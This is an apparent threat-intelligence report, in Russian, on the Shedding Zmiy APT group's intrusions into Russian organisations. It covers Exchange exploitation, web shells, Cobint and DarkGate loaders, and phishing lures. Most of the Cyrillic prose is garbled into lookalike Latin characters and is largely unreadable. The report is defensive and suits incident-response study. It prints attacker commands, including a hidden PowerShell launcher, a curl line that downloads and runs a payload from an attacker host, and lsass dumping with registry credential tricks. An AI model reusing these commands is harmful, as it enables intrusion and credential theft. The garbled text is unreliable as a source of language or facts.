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PacnyTbiBaem 3ameuHbIM KNyOoK: no cnegam atak Shedding
Zmiy

OrnaBsneHue

BBeneHue

B 2022 roay mupoBas reononutuyeckan o6cTaHOBKa HaKkanunach A0 npeaena, YTo He MOrJ10 He OKasaTb
BIMAHUA HA aKTUBHOCTb KpynHenwnx APT-rpynn. [na mHornx poccumnckana UT-uHdpacTpykTypa ctana
OCHOBHOW Lenbto. Cpeau Tex, KTo Hauenunca Ha Poccuio, — rpynnupoBka, nssectHaA komaHae Solar
4RAYS, kak Shedding Zmiy. 310 oaHa u3 Hanbonee akTUBHLIX M NpodeccrMoHanbHbIxX rpynn. OHa He
TOJMBKO y4yacTuna cBov onepauunu NpoTUB rocy4apCTBEHHbIX OpraHn3aymm u ux noapAaYUKoB,
onepupyoLMx Hanbonee YyBCTBUTENbHLIMW AAHHBIMU, HO U CMEHUIA NPUOPUTETLI B CBOMUX aTakax,
NepPEeKTYMBLLUCL C PUHAHCOBOW BbIrOAbl HA LLUMUOHAX.

Mbl cooTHocum Shedding Zmiy ¢ nssectHoun ¢ 2016 roaa rpynnuposkorn Cobalt ((ex)Cobalt), kotopas, no
JaHHbIM Ny6nUYHbIX OTYETOB, aTakoBasna UCKITHYMTENBHO KPeAUTHO-OUHAHCOBbLIE OpraHU3aLum 1
PYKOBOACTBOBasacb TOSIbKO MaTepuaribHOW BeIro4oW. PaHee Mbl yke ny6rvkoBany oT4eT no
paccnenoBaHWIO OAHOMO MHUMAEHTA, 3a KOTOPbLIM CcToANa ata rpynna. C Tex nop Mbl y4acTBOBanu B
paccneioBaHWK elle HECKOSIbKMX CBA3aHHbIX Kubepatak. 3a 6ornee YeM rog HabnaeHUn Ham yaanoch
OTCNeAWTb AECATKM PasnMyHbIX atak rpynnbl, B paccriefoBaHn CEMU U3 KOTOPbIX Mbl MPUHUMAITH
HEenocpeACTBEHHOE y4acTue B KayecTBe akcnepToB. CobpaHHble B X0Ae 3TUX paccreaoBaHum
YHUKanbHbIE AaHHbIE MO3BOSIMN HAM BbIAENUTb OTAENbHbBIN KNaCcTeEP BPEAOHOCHbIX aKTUBHOCTEN,
KOTOPbIN Mbl M Hassanu Shedding Zmiy.

ApceHan Shedding Zmiy oT aTaku K atake MeHACH [0 Hey3HaBaeMOCTH: KACTOMHbIE 3arpy3ynKu,
63Kkaopbl M BEO-LLEeNNbl, paHee He BCTpevasLumecs B Ny6/IMYHOM NPOCTPAHCTBE, UCMONb30BaHWe
CKOMMPOMETUPOBAHHbIX NIEMMTUMHbBIX CEPBEPOB B MHDPACTPYKTYPE M AKCnnyatauuna cneunduyHbix
6aros B ASP.NET cyLLeCTBEHHO YCNOXHANO aTpmByL Mo pasHbix atak K 0AHOM rpynne. MMeHHO noaTomy
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Mbl HasbiBaeMm 3Ty rpynnuposky Shedding Zmiy: oHa, COBHO 3MeA, perynapHo MeHAeT “Koxy”. B xoae
KponoT/iMBoi paboThl pas 3a pasoM Mbl HAXOAMMK KITHOYEBbIE YITUKKM, U B UTOre Ham yaanock cobpatb
BOEAMHO A0Cbe MO BCEM MUCCeA0BaHHbIM Onepaumam rpynmbl.

B naHHOM oTueTe Mbl pazbepem paccrnefoBaHHble HaMK ataku Shedding Zmiy, a Takke Aaaum
pexkoMeHAaumMu1 no 3alimMTe U OXOTe Ha UX aKTUBHOCTU M NOAENMMCA MHAMKaTopamu. [1o3xe Mbl BbiNyCTUM
cTaTb, B KOTOPbIX ByayT NnoApoBHO onucaHbl YHUKaNbHble MHCTPYMeHThl Shedding Zmiy.

Ecnu Bbl yBMAENM NOAO3PUTENBHYIO aKTUBHOCTb B CBOEW CETU U CUMTAETE, UTO TOXE CTasM XEepPTBOW
XaKepCKOoW rpynnupoBKK, NuLLMTe Ham. IkenepTol Solar 4RAYS nposeayT paccneaosaHue, BoliABAT
npo6nembl M AagyT HeoBxoauMble pekoMeHAaLMK, YToObl 3aLUTUTD Bally MHPPACTPYKTYPY OT XaKepos.

Keic 1. lNepBaA HUTOUKa

OAaurH 13 nepBbIX KPYMNHbIX MHUUAEHTOB, B KOTOPOM Mbl CTOSNKHYNIUCE ¢ Shedding Zmiy, npousoLuen B
nekabpe 2022 roaa B pOCCUICKOM rocyaapCTBEHHOM opraHv3auunn. PaccnenoBaHue kelca Hayanoch
rnocre Toro, Kak B 0AHOM 13 Telegram-kaHanoB 6bin ony6rMkoBaH NocT 0 B3fioMe 3akasuuka
NoCneaytoLLeM CIUBE BbIFPYXEHHbIX U3 €ro MHPPACTPYKTYpPbl AaHHbIX. B kauecTBe AokasatenbCTB Obin
MPUNOXEH CKPUHLLOT CTPYKTYPbI KATanoros, HasBaHWA KOTOPbIX UMEIOT OTHOLLEHME K 3aKasuuKy.

B xoae paccnenosanus cneynanuctamv 4RAYS 6bin0 yCTaHOBMEHO, YTO aTakytoLue NPOHUKIN B
MHPPACTPYKTYpPY 3aKkasunka, NPOIKCNIyaTMpoBasB Ha OAHOM U3 CEPBEPOB aKTyasibHYO Ha TOT nepuoa
yasBuMocTb B Microsoft Exchange Server — OWASSRF. MeToa akcnnyartaumu BritoyaeT B cebs ase
pasHble yA3BMMOCTH, OTcnexuBaemble kak CVE-2022-41080 n CVE-2022-41082.

MepBble 3apUKCUpPOBaHHLIE B Web-norax coBbiTus akcnyaTauumu aatuposanuck 30.12.2022, ogHako
ZaHHble AeiCcTBUA A0CTUIMM cBoero pesynbrarta Tonbko 03.01.2023, koraa B cucteme Obinn pasmeLleHsl
nepsble obpasybl BINO tuna web-shell. Bcero aTtakyowme pasmecTtunu Ha yassumom cepeepe Microsoft
Exchange cneaytowme 4 ¢anna B katanore C: /Program Files/Microsoft/Exchange Server/
V15/FrontEnd/HttpProxy/owa/auth:

Uma dpanna JlaTa pa3smeLleHun
shit.aspx 03.01.2023 22:31:20
shit3.aspx 03.01.2023 22:53:52
gY6t4.aspx 06.01.2023 02:48:17

SysFeedback.aspx 07.01.2023 01:15:35

e gY6t4.aspx npeacrasndaet coboi peanusauuto npoekta Neo-reGeorg;
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e shit.aspx un SysFeedback.aspx — npoekt cmd.aspx;
e shit3.aspx — nameHéHHbI NpoekT fileupload.aspx.

Kak BuaHo, oanH dann umeeT cnyyanHoe HasBaHWe, MMA APYroro NoOXoXe Ha NonbITKy MUMUKPUM MO
YTO-TO NEMMTUMHOE, a BOT K HEWMUHIY AByX Hanbonee paHHWX BPEAOHOCOB aTakyoLimMe NoAOLLNN
KpeaTWBHO M NTaKOHUYHO.

BaxxHo# 0COBEHHOCTLIO YASBUMOCTHM ABNAETCA HaMMume ayTeHTUPULMPOBAHHOIO AOCTYNa K yA3BUMOMY
cepBepy. AHanus xypHarnos web-cepBepa nNo3Bofn/ HaM YCTaHOBWUTb YYETHYHO 3anucb, KOTOPYH
aTakytoLue “Ucnonb3oBanu AnA aKennyartaumu, a Takke IP-agpeca, ¢ KOTOpbIX BbINOMHANMUCH
BPEAOHOCHbIE 3anpoChl.

Mpexzae yem onucbiBaTb AanbHENLLNIA X0 ataku, pasbepemcs, kak Shedding Zmiy yaanock
CKOMMPOMETUPOBATb YYETHYHO 3aMMChb, UCMONb3YEMYIO B AafbHENLLIEM ANA 3KCNyaTaunm yasBUMMOCTH
OWASSREF.

NmA CKOMMPOMETMPOBaHHOW YYEeTHOM 3anncu CoAepano HasBaHWe TeppUTOpPUarbHOro opraHa u
MCMNONb3yroLLero ee otaena. JT0 3a4ano AanbHeWLee HanpaBneHne paccneaoBaHua. YCTaHOBUB Kpyr
nonb3oBaTesien y4eTHOW 3anvucu, Mbl MPUCTYNUIAN K aHanuay AaHHbIX C X cMcTeM. 34ecCb Hac xaana
6onbluas yaada: Ha nepBov e cucteme Mol 06Hapyxunu katanor C: \Programdata\IntellHTD,
cosaaHHbin 20.12.2022 B 12:46:17 (UTC). B Hem coaepxanucb noaosputenbHbie ¢ansbl, Npyu 9TOM B
dainosor Tabnuue, COOTBETCTBYHOLME UM dannoBble 3anncu Obinin NOMEYEHbI Kak
«HEMUCnonb3yemble»:

Umna danna JlaTta co3naHuA

IntellHTD[1].vbs 20.12.2022 12:46:56

IntellHTD[1].ps120.12.2022 12:47:24

MNocne aHanusa ¢annos ObIN0 YyCTAHOBNEHO, YTO Mbl UMeEM Aeno ¢ BpeaoHocom Coblint, koTopbli 1
cTan nepBON HUTOYKOM, 3a KOTOPYHO Mbl HAYanu pacnyThiBaTb 3TOT 3MEUHbIN KNyOokK. KpaTkoe
TEXHUYECKoe ornucaHne BpeJoHoca 1 npoLeaypbl ero 3anycka:

VBS-ckpunT 3anyckaeTt Powershell-cueHapuit, KOTOpbIR XpaHUT Wennkod B 06dycLuupoBaHHOM BUAE.

Powershell-ckpunT pacnakoBbiBaeT LWENNKOA U NepeaaeT emy ynpasneHue yepes CreateThread.
LLlennkoa 3arpyxaet ¢ C2 sawmdpposaHbit Coblint, pacwmndposbiBaeT u 3anyckaet ero. OH pabotaet
TOMbKO B MAMATU U He coxpaHaeTcAa Ha ¢pannosyto cuctemy. Bsanmogenctaune ¢ CnC nponcxoamT no
npotokony HTTPS nocpeactsom POST-3anpocos. [pu nepsomM Noaxknto4eHnn oTnpasnaeT nHdopmaymio
0 CeTeBbIx afanTepax.

C2: avptp[.]com
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Mpwv panbHenwem aHanuse Obio0 yCTAaHOBMNEHO, YTO HE3aA0sro A0 pasmelleHna Coblint nonb3oBatenem
6bin 3arpyxeH AokymeHT Microsoft Word:

Crapt
. OKoHuaHue Cratyc .
Uma dpanna 3arpysKku MonHbIA NYTb 3arpy3Ku
(UTC) sarpysku (UTC) 3arpysku

C:/Users/[redacted]/
20.12.2022 20.12.2022
2022-625711.docx YcnewHo Downloads/

12:21:31 12:21:33
2022-625711.docx

C:/Users/[redacted]/
YenewHo Downloads/2022-625711
(1).docx

2022-625711 20.12.2022 20.12.2022
(1).docx 12:43:40 12:43:41

Mpu aTOM camu paWsnbl Ha MOMEHT UCCNEeA0BaHWA OTCYTCTBOBA/IM, @ Ha UX NPUCYTCTBUE yKasan Nuilb

BpemeHHbin pann C: /Users/[redacted]/Downloads/~$22-625711 (1).docCXx, co3gaHHbIN B
MOMEHT OTKpbITUA 20.12.2022 12:43:43.

Hwxe npeAacTaBneHbl CCbINKK (OHU MAEHTUYHBI), MO KOTOPLIM @aisbl ObiSn 3arpy)KeHbi:

Uma panna CchblniKa Ha 3arpysky

https://owa.[redacted].ru/owa/service.svc/s/GetFileAttachment?

2022-625711.doex ) OMKADINNDZIMDK2LWUSNGUINDFKOS05MIQ...

2022-625711 https://owa.[redacted].ru/owa/service.svc/s/GetFileAttachment?
(1).docx id=AQMKADIhNDZiIMDk2LWU5NGUINDFkOS05MjQ...

dannbl 3arpyXeHbl Kak BAIOXEHWUA NUCbMa 3NTEKTPOHHOMW NOYTLI C UCNOMb30BaHUEM Web-KnneHTa
SMEKTPOHHOM NouThl oprann3aumm Ha Microsoft Exchange. Ham yaanocb nonyunts opuriHan 3toro
nucbMa. PaHee HEKOTOpPbIE HALLKM 3aKa3yMKK NOSYUYMIIU CXOXKKE NUCbMaA.

Bpema oTnpaBneHun: 20 aekabpa 2022 r. 12:22;

Tema nucbMma: «Bam HanpaBneH NpoTokos 06 aAMUHUCTPATUBHOM NPaBOHAPYLLIEHUW»;
otnpasutenb: kurgansky.krg@sudrf[.]ru;

nonydarensb: [redacted];

otnpasutenb: kurgansky.krg@sudrf[.]ru;



aapec otnpasutena: mx1.sudrf[.Jru 79.133.87[.]11;

x-originating-ip: 172.16.10[ . ]134;

Tema nucbma: «[potokon NO781-4981 ot 19.12.2022»;

Bpema oTnpasneHun: 20 Dec 2022 11:34:28 (UTC+0).

MUCbMO COAEPXKMUT BO BNOXEHUMU BPEAOHOCHbIA JOKYMEHT:

BJIOMEHHUE:

2022-625711.docx - nokymeHT Microsoft Office Word dpopmara OOXML.
md5: EBFAAEBAFB778B6BEA238ADE245D1AB6

shal: 71A8AC941A1AA14A6F6668AE5AA5057E63590467

sha256: E6707AD67817EE8379520084F1891704016BA4750C6CC5A1ED64949B2D49C5E3
CCbIJIKa Ha BHELLHW LIABIoH, KOTOPbLIA NMOArPYXaeTcA Npu OTKPLITUKM daina:

hxxps://msys[.]su/microsoft-office-word/t.php?
t=3f490d049f8e557f2c5e1d536eb6956¢c8886¢c8480736dc0b2209cdb3fc76aa079a7915c0e120a3b13e9e71€

[Tucbmo, oTHOCALYeecsA K PULLMHIOBOM KaMnaHum no pacchiike nucem or umeHn SUDRF - TAC P®
«[lpaBocyane»

BHewHuii WwabnoH B AokyMeHTe 3arpyxan Ekipa RAT — BpeaoHocHbIM VBA-CKpUNT, KOTOPbLIM Npoaasarnca
Ha 0AHOM U3 TeHeBbIX popymoB ¢ pespana 2022 roaa. ObnaanaeT 6a30BbIM QYHKLUOHANOM:

e BbINOSTHEHUE NPOW3BOSbHbLIX KOMaHA;
e Qainosbli Bpaysep;
e 3arpyska ¢annoB Ha XOCT XepPTBbl U C Hero.

Mbl Habntoganv noxoxue GULLMHIOBLIE KaMmnaHuu no pacceinke Ekipa RAT B MapTe u aAekabpe 2022.
MoapobHee NPo HUX PacCKaXem B OAHOM M3 crieaytolmx nyénukaumin o Shedding Zmiy.

Cxema 3anycka Coblnt B cucteme xepTBbl Beirnaaena cneaytowmm o6pasom:
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User » IntellHTD.ps1 » PowerShell Carbanak » Shellcode > Cobint

Tawke Ha ¢ainoBoi cucteme B Katanore C: \ProgramData\Samsung mbl 06Hapyxunu creaytoLime
dannsl:

Uma daunna BpemeHHaa meTka cosaaHua (UTC)

SamsungNotification.txt 2022-12-20 19:46:24

SamsungNotification.exe 2022-12-20 19:46:23

SamsungNotification.psl 2022-12-20 19:46:23

SamsungNotification.vbs 2022-12-20 19:46:23

OnHoBpemeHHO ¢ nossneHvemM GannoB B CUCTEME aTaKyroLMe ANA 3aKpenneHna B CUcTeme cosaanu
cnyxo6y c umeHem DataExchangesSvc u cneaytowum KoMaHAanHOM:

C:\ProgramData\Samsung\SamsungNotification.exe SamsungNotification.txt

®ain SamsungNotification.txt coaepxan cneayroLLyto CTPOKy ANnA 3anycka vbs-ckpunta
SamsungNotification.vbs ¢ ucnons3oBaHmem nermtTumMHoro wscript.exe

wscript.exe "C:/ProgramData/Samsung/SamsungNotification.vbs"

B cBoto ouepeab ckpunt SamsungNotification.vbs sanyckan powershell-cuexapun
SamsungNotification.ps1l, aHanornyHbii No PyHKLMOHaNY paHee 0OHapPYyXeHHOMY
IntellHTD[1].ps1, Ho c apyrum agpecom C2: wsdjcvfv([.]com:

OWw=Replace("WScrsavjipt.savjsavjSsavjhelsavjsavjl", "savj","").set
stiCz=WScript.CreateObject (OWw) .ItQr="%SystemRoot%/System32/
WindowsPowerShell/v1.0/powershell.exe -ex bypass -NoLogo -NonInteractive -
NoProfile -WindowStyle Hidden -File ""C:/ProgramData/Samsung/
SamsungNotification.psl""".VkM=stiCz.Run(ItQr,0,0).
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Cxema 3anycka onucaHHoro Boile o6pasya Coblnt:

DataExchangesSvc C:/ProgramData/Samsung/SamsungNotification.exe SamsungNotification.txt

v
SamsungNotification.exe » SamsungNotification.vbs wsdjevfv[.Jcom

A

v v v

SamsungNotification.txt SamsungNotification.ps1 » PowerShell Carbanak »  Shellcode > Cobint

wscript.exe "C:/ProgramData/Samsung/SamsungNotification.vbs"

UyTb Bonee yem yepes yac nocre 3aKpenneHus, atakyoLme co3aany y4eTHYH 3anucb C NPUBUIErUAMK
nokanbHoro aamuHucTpartopa [redacted]/root.

Janee mbl Habntoganu noaxntoveHna Shedding Zmiy k cucteme no npotokony RDP. B cobbiTusx
ceteBoun ayTeHTUdUKaUUKN 4624 LogonType3 13 xypHana Security Mbl 3aMeTUNM UHTEPECHOE Ha3BaHUe
CUCTEMbI, C KOTOPOW npoucxoauna ayteHTudukauma — COMMANDO. HanBonee BepoATHO, 3TO MMA MO
YyMOJT4YaHuIo cuctemMbl Ha 6ase nonynapHoro avctpubytuea Commando VM (Complete Mandiant
Offensive VM) ana npoBeaeHua TecTupoBaHua Ha npoHukHoseHne OC cemenctaa Windows,
pacnpocTpaHaemMoro komnaHnen Mandiant.

Hanee, yepes web-6paysep CKOMNPOMETUPOBAHHOM MaLLMHbI, aTaKytoLUe NPUHASIUCL CKaunBaTb
HEeo6xoAnMble MHCTPYMEHTbI. OHM OrPaHNYUITUCE CIIEAYIOLLMM «DKEHTENBMEHCKUM HaBopoMm» :

o Soft Perfect Network Scanner;

o Mimikatz;

e Djoin parser & Citrix SSO Extractor;
e ASM Web Push Client;

e Anydesk.

HUcnonb3osaHua Djoin parser & Citrix SSO Extractor 1 ASM Web Push Client mbl He yBuaenu, a Bot
OCTalbHbl€ MHCTPYMEHTbI MPUMEHANTUCH aKTUBHO.

MNpumeuatenbHo, 4TO Y4éTHbIE AaHHble AnA Y3, KoTopana ucnonb3oBanach npu kKomnpomeTtauun Microsoft
Exchange Server yeHTpanbHoro annapara, 6bi5iM coxpaHeHbl B 6paysepe, 1 atakytowme 6es Tpyaa
MONYYUIU K HAM JOCTYn.

Taknm o6pasom obLuan cxema nepBoHaYabHOrO NPOHUKHOBEHUS B MHMPACTPYKTYPY BbiraauT
cneayrowmm o6pasom:


https://undefined/upload/cssinliner_webp/medialibrary/086/ca6he3dls5yrxuv6stlbdast34u3oakp/3_2x.webp
https://undefined/upload/cssinliner_webp/medialibrary/086/ca6he3dls5yrxuv6stlbdast34u3oakp/3_2x.webp

@

il AN

Credential Dumping

/N O

2022-625711.docx Victim Ekipa RAT
Cobint
Mimikatz
SoftPerfect Network Scanner
v Anydesk

M —0
|

Shedding Zmiy Procdump

Microsoft Exchange Bridgehead sygct)f)rl':\?c
Server Mimikatz
| RDPWrapper
Psexec

[

O L] Ll L]
aY6t4.aspx Host Host Host
shit.aspx

SysFeedback.aspx
shit3.aspx

PaCCMOTpVIM KnrYeBble MOMEHTBLI MHUKUZAEHTA: ero TeXxHMKn U UHCTPYMEHTbI, KOTOPbIE rpynna
ncnosnb3oBasna anda pasBuUTUA aTaku.

Ina nokanbHou passeaku Shedding Zmiy ucnonssosanu Powershell, BOT HekoTopble U3 UCNOMHEHHbIX
UMK KOMaHA:

C:\Windows\System32\WindowsPowerShell\v1l.0\powershell.exe -c tasklist
C:\Windows\System32\WindowsPowerShell\v1l.0\powershell.exe -c get-
mpthreatdetection
C:\Windows\System32\WindowsPowerShell\v1l.0\powershell.exe -c whoami -priv
C:\Windows\System32\WindowsPowerShell\v1l.0\powershell.exe -c whoami

Ha ckomnpomeTtupoBaHHom cepBepe Microsoft Exchange mbl 06Hapyxunu crneabl 3anycka nonynapHoro
MHCTPYMeHTa procdump no cneayroLwmm nyTam:

e SYSVOL\Temp\procdump.exe;
e SYSVOL\Temp\procdump64.exe.

C NOMOLLbKO IaHHOIO MHCTPYMEHTA ataKyrowime nonydyunnu gamn npouecca Isass, a 3areM apxumsupoBasi1
ero ¢ nomoLubto powershell — BepoaTHo, Ana otnpasku Ha C2 1 u3BneyeHns M3 aamna npouecca
YYETHbIX AAHHbIX:

powershell Compress-Archive C:\temp\2836.dmp C:\temp\output.zip

Mepea TeM Kak Nony4YnTb Aamn NpoLecca, atakytoLme NPUMEHUIU eLLe OAHY NOMNyAPHYH TEXHWUKY,
yctaHoBuB 3HauyeHne UseLogonCredential kntoua peectpa Control/SecurityProviders/
WDigest B «1», KOTOpOE NO3BOMAET XPaHUTb AaHHbIE BOLLEALUUX NONb30oBaTeNnen B OTKPLITOM BUAE B
namsaTu.
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Mo3aHee AnA Aamna yY4ETHbIX AaHHbIX Mbl 06Hapyxunu cneabl Mimikatz, BoT, Hanpumep,
BOCCTaHOBJ/EHHbIN dparmeHT RDP-k3wa 0AHOW 13 CKOMNPOMETUPOBAHHBIX YYETHbBIX 3anucen:

——

mimikatz

ﬂ,J'IFI npoABMXXEHNA MO CETU XEePTBbl aTaKyroLne UCNonb30Bau:

¢ npotokon RDP;

e CKOMMNPOMETMPOBaHHbIE B pe3ysibTate Jamna npouecca lsass y4éTHble AaHHbIE;
* CO3JaHHYK UMM Ha OLHOMW U3 CUCTEM NTOKANbHYHO YYETHYHO 3aruchb root;

e «ropAYo nobumbin» PSEXEC.

Mpu atom ana obxoAa orpaHUYeHni onepaymoHHon cucteMbl Windows 1 BO3MOXHOCTH NoAAepKaHuaA
oAHOBpeMeHHO Heckonbknx RDP-ceaHcoB Ha cucTeMe-nnauaapme, C KOTOPOW atakyroLlue BbIMOMHAMM
MHOXecTBeHHble ucxoaawme RDP-coeanHeHunsa, oHn ucnonssosanu npoext RDPWrap. Ero ¢annbl oHu

pasMecTunun B Katanore fiokanbHow yyetHon 3anucu C:\Users\root\Videos, KoTopbi camu xe u
cosaanu.

Mo npoLlecTBMM NOYTH ABYyX HeAeNb Nnocne BTOPXEHUA BCE Ha TOW e cucTeMe-nnayaapme Obin cosaaH
katanor C:\ProgramData\IntellHTD u yxe 3HakoMble Ham dansnbi:

Uma dpaunna JlaTa co3paHunA

IntellHTD.ps1 15.01.2023 22:40:24.

IntellHTD.vbs 15.01.2023 22:40:24.

s 3akpenneHus rpynnuMpoBka Belbpana nonynspHbIi METOA: Mcnonb3oBaHue Run kioya peectpa
nonb3oBatenbckoro kycta NTUSER.dat yueTHom 3anucwm root, cosaas 3HadeHne HvngefhSvcDBV ¢
coaepxumbiM: C:\ProgrambData\IntellHTD\IntellHTD.vbs.

Ina coxpaHeHua aoctyna K MHPPAaCTPYKType arakyroLyme, NoMUMOo NpoYero, ckaumsanu u
ycTaHaBnuBanu B cMCTemMax pacrnpocTpaHéHHoe cpeacTBo AnA yaanéHHoro ynpasnexdna AnyDesk,
KOTOpOE 3aKpennanoch Yepes co3aaHne cepBuca, aBTOMaTUYECKU 3anycKkaemoro npu Bxoae
nonb3oBaTesien B CUCTEMY.

Ha atoii xe cucteme-nnauaapme 6bino obHapyxeHo asa obpasua BIMO cemerictBa SystemBC, koTOpbIM
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ABNAETCA NPOKCU-B0TOM C BO3MOXXHOCTbLHO 3arpy3K1 U 3anycka NofesHoM Harpysku Ha CUCTEMaX KEPTB.
JInwb oavH camnn 3akpennanca Yyepes Run kitou nonb3oBatenbckoro kKycta peectpa NTUSER.dat
YYETHOW 3anuncu root, Co3aaHHOM 3/T0YMbILLNTIEHHWKAMM, C UMEHEM 3HauyeHua SoCks5 u cneayomm
COAEPKMUMBIM:

powershell.exe -windowstyle hidden -Command "& 'C:
\Users\root\Desktop\socks.exe"'".

JnA BbIrPY3KM AaHHbIX aTakyroLme ucnonb3osanu knmeHT MEGAsync . exe, cneabl KOTOPOro Mbl
obHapyxunu B aptedakte UserAssist 04HOM M3 CKOMMPOMETUPOBAHHBIX YYETHbIX 3aMUCEN.

B naHHOM Kence Mbl 0oTMeTUM ucnonb3oBaHue Coblnt, 4To 1 HaBeno Hac Ha NPeAnoONOXEHUA O TOM, C
KEM Mbl UMEEM AENO.

Martpuua MITRE ana atoro kenca v Bcex nocrneayowmx npeacrtasneHa B OTAeNbHOM pasaene.

Keuc 2. Ataka Ha gosepue

B cneayrowmin pas Mbl CTONKHYMCb ¢ Shedding Zmiy, paccneaya MHUMAEHT B 0AHOW U3 IT-komnaHui B
Havane uona 2023 roaa. Ataka Havanacb ¢ GULLMHIOBOrO NUCbMA, OTNPAaBSIEHHOIO C MOYTOBOrO
cepsepa opraHusauyuun-noapaaumka. McnonssosasLianca AnAa GOpMUMPOBaHUA U OTNPaBKU NUCbMa
yyeTHad 3anuck Obina nernTumHon. Ketatu, cnycTa HEKOTOpoe BpeMA 3TOT NOAPAAYMK NPUTIACcKi Hac
NPOBECTU paccnefoBaHune B ero HdpacTpykType. O6 aTOM cnyyae Mbl pacckaxem Aasnee, Ho Ha
MOMEHT paccrefioBaH1A kenca «Ataka Ha aosepue» (B uone 2023 roaa) NpoBeCTH Takoe uccneaosaHue
BO3MOXHOCTH eLLé He ObIno.

Mucemo ¢ Temoi «ObAsaTenbHoe_0BHOBIIEHWE_TPYAOBbLIX_/A0rOBOPOB_W_MHPOPMALMA_O_NpPeMuax»
cozepxano 3anaporneHHbii apxve 0607 [redacted]. rar. Maponb 6bi1 ykasaH B TEKCTE NUCbMA:



E 0607_I.rar .
890 b

VeaskaeMEle KOLIerH.,

Mz obparmaenm panre BHHMaHHE Ha BAKHYIO HHOOPMAITHIO, KOTOpad HAIPAMYIO BIHAET Ha BalllH TPYAOEEIE
OTHOIIEHHA H YCIOBHA KOMIIEHCAITHH.

B OPHIOXKEHHH K 3TOMY ITHCEMY EBI HaHjeTe 06HOB:ICHHYIO BEPCHIO BAIIETO TPYIOEBOIO JOTOEBOPA, B KOTOPVEO
OBLTH BHECEHEI HEKOTOPEBIEC H3MCHCHHI B COOTEECTCTEHH C HOBBIMH PEIrVIIATHEHBIMH Tpe6OBaHI‘IXIVIH. 3t0

OOHOBIEHHE Ipe6ye'r BaIIero 0043aTeIbHOr0 O3HAKOMIIEHHA H INIOATBCPKIACHHA.

Taxcke MBI npHIaraeM JeTatd o npeMuax 3a uroab 2023 roga. Bamm gocTioKeHHS LEHHEI 4714 Hac, H MBI XOTHM
YOEaHTBCA, ITO BEI IOIHOCTHIO OCBEIOMIEHEI O CBOHX IIPEMHEAX.

I’Io;xam*ﬁcr&_ orxpoi—'rre IIPHIOKEHHBIC JOKYVMEHTEI H BEHHMATCIBHO H3VIHTIEC HX. B ClIydac BOSHHKHOBCHHA
BOIIPOCOE HIIH HCOGXO:IH.\{OCIH VTOYHEHHA, oSpamaﬁIecs B OTOEST KaJpOEB.

Mapo.:: I

Cnacu0o 3a Bame BHHMaHHE K 3TOMY BOIIPOCY H 3a Balll LIeHHEIH BKIaj B Haory KOMaHIOy.

C veasceruem,

Omoen xadpoe

ApxuB coaepan vbs-ckpunT, AeobdycunpoBaB KOTOPbIW, Mbl 3aMEeTUW BbINONIHEHUE CrieayoLLen
KomMmaHabl yepes Powershell:

CreateObject("Shell.Application").ShellExecute cmd, "/c cd /d %temp% & curl -
0 Autoit3.exe hxxp://0bitcoins[.]com:80 & curl -o rN1QSC.au3 hxxp://
Obitcoins[.]com:80/msiqliyplwt & Autoit3.exe rN1QSC.au3" ,"","",0

KomaHgaa 3arpyxaet ¢ cepBepa 3M0yMbILLNEHHUKOB CHavana nerntuMHbii Autoit3. exe (aBuxok ans
3anycka CKOMMUIMPOBAHHbIX CKPUMTOB), @ 3aTeM BpeAOHOCHbIM au3-ckpunT rN1QSC. au3:

CkpunT pasvepom 749 KB pasgenéH Ha 3 yacTu:

e STUB;
e AU3-compiled script;
e OVERLAY.

OH conepxuT B cebe shellcode, KOTopbIi 3anycKkaeTcA Yepes Bbi30B
user32.dll.CallWindowProc(lpPrevWndFunc, 0, 0, 0, 0), rae lpPrevWndFunc —
ykasatenb Ha shellcode. Shellcode pacwmdpoBbiBaeT B namATH M 3anyckaeT HanucaHHbiM Ha Delphi
OuHapHbIi Painn, koTopbii uutaet STUB n OVERLAY u3 au3-¢paina u gelundpyeT us HUX BpeLoHOC
DarkGate Bepcuu 4.2.4, Takxe HanucaHHblM Ha Delphi. 310 ogHa U3 nepBbix CTaHAAPTHbLIX LENOYeK
3anycka DarkGate 2023 roaa.

DarkGate nsBecteH ¢ 2018 roaa n obnagaet LWMPOKUM PyHKLKMOHaNOM. OH MOXET MCMONb30BaTbCA ANA:
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Kpaku cookies 1 naponew 6paysepos(cTunnep);

3anycka ManHepoB;

yaaneHHoro noakntodeHuna yepes HiddenVNC, AnyDesk;

noaAMeHbl KOUNTOKOLLESTbKOB;

MHXeKTa B npouecchl,

OCTaHOBKK NMpOLEeCCOB;

n elle 6onee 50 KomaHA.

MpumeyaTensHo, YTo HoBas Bepcusa DarkGate, koTopyto cosaatenb BIMO paspabatbiBan ewe ¢ 2017
roaa, noABMNachb Ha OAHOM U3 TeHEBbIX GOPYMOB HE3AZ0I0 A0 aTtaku — B UioHe 2023 roaa.

DarkGate Loader [ FUD // Bypass EDR // ADMIN & SYSTEM LPE // RedTeaming // EXE, DLL, LNK, URL, MS], VBS ]

ent It out, this pec

wures that you won't find anywhere.

an directty In memory without touching disk

0 (BTC, ETH, MONERO, ETC.)
YOU CAN BUY THIS PACKAGE ONLY 1 TIME WITH EACH EXPLOITIN ACCOUNT)

1 YEAR UPDATEL 100,000%
MAIN FEATURES >

5 and x64 files)

NS BROWSER AND ALL PROFILES )
NC EL
TON (NORMAL TO )
DN (IT WILL ADD C/ FOLDER TO EXCLUSIONS )

G COOKIES DIRECTLY INTO A BROWSER PROFILE

INVISIBLE STARTUP, IMPOSIBLE TO SEE THE JP ENTRY EVEN WITH ADVANCED TOOLS

Uepes DarkGate artakytowyme 3arpysunin Ha XocT cneayrowune pansnbl:

Uma dpanna JlaTta cosnaHunA

C:\Intel\dsm.txt 06.07.2023 14:20:39

C:\Intel\dismcore.dl1l 06.07.2023 14:23:54
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C:\Intel\dism.exe 06.07.2023 14:25:02

3aecb oHM ucnonb3oBany nonynapHyto TexHuky dil-sideloading, pasmelyas BpeAOHOCHYO BUBNNOTEKY
dismcore.dll B oaAHOM KaTanore ¢ nerMTUMHOM yTunuton «deployment image servicing and
management (DISM) utility» dism.exe. [Mocne 3arpyskv Ha cuctemMy, aTakyoLum yaanocb 3anyCcTuTb
dism.exe, KOTOpPbIK NOArpy3vn BPeAOHOCHYH DLL.

Mbl npeanonaraem, 4to y Shedding Zmiy Bo3HWUKIIM Kakve-TO NpobriemMbl C NOSIE3HOW HArpysKon, NoaTomMy
ewye yepes 10 MUHYT Nocne nepBoHaYasibHOM 3arpysku Ha XOCT BpeAoHOocHoro pamnna dismcore.dll
rpynnupoBka, ucnonedya DarkGate, 3arpysuna B yxe nssectHblit Ham Katanor C:\Intel ¢pawn
